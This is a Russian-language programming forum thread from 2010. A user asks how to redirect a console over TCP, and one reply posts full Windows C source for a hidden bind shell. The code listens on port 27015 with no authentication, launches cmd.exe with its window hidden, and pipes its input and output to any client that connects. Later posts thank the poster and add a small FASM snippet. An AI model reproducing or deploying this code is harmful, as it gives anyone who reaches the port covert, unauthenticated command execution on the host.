tcp сервер с перенаправлением ввода\вывода на консоль клиента

Тема в разделе "WASM.NETWORKS", создана пользователем dekloper, 7 июн 2010.

  1. dekloper

    dekloper Member

    Публикаций:
    0
    Регистрация:
    12 июл 2005
    Сообщения:
    85
    Адрес:
    оттуда...
    помогите с тцп сервер\клиентом
    как открыть консоль на клиенте и запустить обработку ввода\вывода с сервера

    "план", как мне кажется, таков:

    на сервере
    1. биндим слушающий сокет
    2. акцепт клиента
    3. обрабатываем в цикле прием\передача данных с\на консоль клиента пока не отвалится
    на клиенте
    1. открываем сокет
    2. конектимся к серверу
    3. открываем консоль
    4. отправляем\принимаем команды с\на консоль пока не надоест

    "клиент", как таковой, полагаю, воопще писать не нужно, а пользовать стандартный телнет
    по серверу затык на п.3, научился акцептить клиента, а чо делать дальше, нинаю :dntknw:
    хелп, плиззз
     
  2. djmans

    djmans New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2006
    Сообщения:
    312
    буду краток.
    STARTUPINFO: HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;
     
  3. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
  4. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    dekloper
    я когда то делал так
    Код (Text):
    1. #define WIN32_LEAN_AND_MEAN
    2.  
    3. #include <windows.h>
    4. #include <winsock2.h>
    5.  
    6. #pragma comment(lib,"ws2_32.lib")
    7.  
    8.  
    9. #define BUFF_SIZE        0x2000
    10. #define SHELL_PORT       27015
    11.  
    12. DWORD WINAPI ReadThread(LPVOID lpParam);
    13. DWORD /*WINAPI*/ ListenThread();//LPVOID lpParam);
    14. DWORD WINAPI Shell(LPVOID lpParam);
    15. BOOL InitWSA(void);
    16.  
    17. //==[ Start code programm ]== =======================================================
    18. BOOL __stdcall WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
    19. {
    20.  if (InitWSA())
    21.  {
    22.   ListenThread();
    23.   WSACleanup();
    24.  }
    25. return true;   
    26. }
    27. //==[ Shell ]== =====================================================================
    28. DWORD WINAPI Shell(LPVOID lpParam)
    29. {
    30.  SOCKET Sock = (SOCKET)lpParam;
    31.  STARTUPINFO sIf = {0};
    32.  PROCESS_INFORMATION pIf = {0};
    33.  SECURITY_ATTRIBUTES sat = {0};
    34.  HANDLE hInRead,hInWrite,hOutRead,hOutWrite;
    35.    sat.nLength = sizeof(SECURITY_ATTRIBUTES);
    36.    sat.bInheritHandle = TRUE;
    37.    sat.lpSecurityDescriptor = NULL;
    38.  if(!CreatePipe(&hInRead,&hInWrite,&sat,0)) return 0;
    39.  if(!CreatePipe(&hOutRead,&hOutWrite,&sat,0))return 0;
    40.  memset(&sIf,0,sizeof(sIf));
    41.  memset(&pIf,0,sizeof(pIf));
    42.  GetStartupInfo(&sIf);
    43.   sIf.cb=sizeof (STARTUPINFO);
    44.   sIf.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    45.   sIf.wShowWindow = SW_HIDE;
    46.   sIf.hStdInput  = hOutRead;
    47.   sIf.hStdOutput = hInWrite;
    48.   sIf.hStdError  = hInWrite;
    49.  CreateProcess(NULL,"cmd.exe",&sat,&sat,TRUE,0,NULL,NULL,&sIf,&pIf);
    50.  CloseHandle(hOutRead);
    51.  CloseHandle(hInWrite);
    52.  CloseHandle(pIf.hThread);
    53.  char *buf=(char*)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,BUFF_SIZE);
    54.  DWORD Exit;
    55.  FD_SET F_Set;
    56.  TIMEVAL TimeOut;
    57.  TimeOut.tv_sec = 0;
    58.  TimeOut.tv_usec = 5000;
    59.  while (GetExitCodeProcess(pIf.hProcess,&Exit) && Exit == STILL_ACTIVE)
    60.  {
    61.    DWORD BytesToRead;
    62.    DWORD BytesTotal;
    63.    while (PeekNamedPipe(hInRead,buf,BUFF_SIZE,&BytesToRead,&BytesTotal,NULL) && BytesToRead)
    64.    {
    65.      ReadFile(hInRead,buf,BUFF_SIZE,&BytesToRead,NULL);
    66.      send(Sock,buf,BytesToRead,0);
    67.      ZeroMemory(buf,BUFF_SIZE);
    68.    }
    69.    FD_ZERO(&F_Set);
    70.    FD_SET(Sock,&F_Set);
    71.    if (select(0,&F_Set,NULL,NULL,&TimeOut) == -1) break;
    72.    if (FD_ISSET(Sock,&F_Set))
    73.    {
    74.      int RecvBytes;
    75.      if ((RecvBytes = recv(Sock,buf,BUFF_SIZE,0)) <= 0) break;
    76.  
    77.      //remake !!!
    78.      if (strstr(buf,"exit")) break;
    79.      DWORD BytesWritten;
    80.      WriteFile(hOutWrite,buf,RecvBytes,&BytesWritten,0);
    81.      ZeroMemory(buf,BUFF_SIZE);
    82.    }
    83.  }
    84.  GlobalFree(buf);
    85.  TerminateProcess(pIf.hProcess,0);
    86.  CloseHandle(hInRead);
    87.  CloseHandle(hOutWrite);
    88.  closesocket(Sock);
    89.  ExitThread(0);
    90.  return 0;
    91. }
    92. //==[ Init WSAStartup (function)]== ===============================================
    93. BOOL InitWSA(void)
    94. {
    95.  WSADATA FWSAData = {0};
    96.  if (!WSAStartup(0x202,&FWSAData)) return TRUE;
    97.  return FALSE;
    98. }
    99. //==[ Connections thread ]== ======================================================
    100. DWORD /*WINAPI*/ ListenThread()//LPVOID lpParam)
    101. {
    102.  SOCKET       Sock;
    103.  SOCKET       FSocket;
    104.  sockaddr_in  addr = {0};
    105.  Sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_IP,NULL,0,0);
    106.  if (Sock == INVALID_SOCKET)
    107.  {
    108.    closesocket(Sock);    
    109.   return 0;
    110.  }
    111.  memset(&(addr.sin_zero),0,0x8);
    112.   addr.sin_addr.s_addr = htonl(INADDR_ANY);
    113.   addr.sin_family = AF_INET;
    114.   addr.sin_port = htons(SHELL_PORT);
    115.  int Size=sizeof(addr);
    116.  if (bind(Sock,(struct sockaddr *)&addr,Size) == -1)
    117.  {
    118.    closesocket(Sock);
    119.   return 0;
    120.  }
    121.  if (listen(Sock,SOMAXCONN) == -1)
    122.  {
    123.    closesocket(Sock);
    124.   return 0;
    125.  }
    126.  for(;;)
    127.  {
    128.    FD_SET F_Set;
    129.    FD_ZERO(&F_Set);
    130.    FD_SET(Sock,&F_Set);
    131.    if (select(0,&F_Set,NULL,NULL,NULL) == -1) break;
    132.    if (FD_ISSET(Sock,&F_Set))
    133.    {
    134.      memset(&(addr.sin_zero),0,0x8);
    135.      FSocket = accept(Sock,(struct sockaddr *)&addr,&Size);
    136.      if (FSocket == INVALID_SOCKET) break;
    137.      DWORD  Id;                          
    138.      HANDLE hThread = CreateThread(NULL, 0,&Shell,(LPVOID)FSocket,0,&Id);
    139.      if (hThread == NULL)  break;
    140.      CloseHandle(hThread);
    141.    }
    142.  }
    143.  closesocket(FSocket);
    144.  closesocket(Sock);
    145.  return 0;
    146. }
     
  5. dekloper

    dekloper Member

    Публикаций:
    0
    Регистрация:
    12 июл 2005
    Сообщения:
    85
    Адрес:
    оттуда...
    пацыба
    "краткость" канэшно, тут лишнее)

    кстате, имена в структуре можно переопределить? а то чота нифига не работает
    тренируюсь вот на фасме
    Код (Text):
    1. format PE console
    2. include 'win32ax.inc'
    3. .data
    4.  
    5. struct STARTUPINFO
    6.        hin  dd ?
    7.        hout dd ?
    8. ends
    9.  
    10. fname db 'cmd.exe',0
    11. string db 100 dup ?
    12.  
    13. sinfo        STARTUPINFO
    14. pinfo        PROCESS_INFORMATION
    15. ns dd ?
    16.  
    17. .code
    18. start:
    19. invoke GetStdHandle,STD_OUTPUT_HANDLE
    20. mov [sinfo.hout],eax
    21.  
    22. invoke GetStdHandle,STD_INPUT_HANDLE
    23. mov [sinfo.hin],eax
    24.  
    25. invoke  CreateProcess, NULL, fname, NULL, NULL, TRUE,\
    26.         CREATE_NEW_CONSOLE,NULL,NULL,sinfo,pinfo
    27.  
    28. invoke ReadFile,[sinfo.hin],string,100,ns,NULL
    29.  
    30. invoke WriteFile,[sinfo.hout],string,100,ns,NULL
    31.  
    32. invoke ExitProcess,0
    33.  
    34. .end start
    охота перенаправить stdin\stdout в новый консольный процесс cmd.exe......
     
  6. dekloper

    dekloper Member

    Публикаций:
    0
    Регистрация:
    12 июл 2005
    Сообщения:
    85
    Адрес:
    оттуда...
    _sheva740
    как то.. очень "недоделанно"
    нету процесса, к-рый обрабатывает все введенные команды.. ток то, што он заранее "счёл нужным"...
    с сокетами - познавательно, пасиб
    984259h
    пасиб,то,что нужно
    буду переписывать на фасм)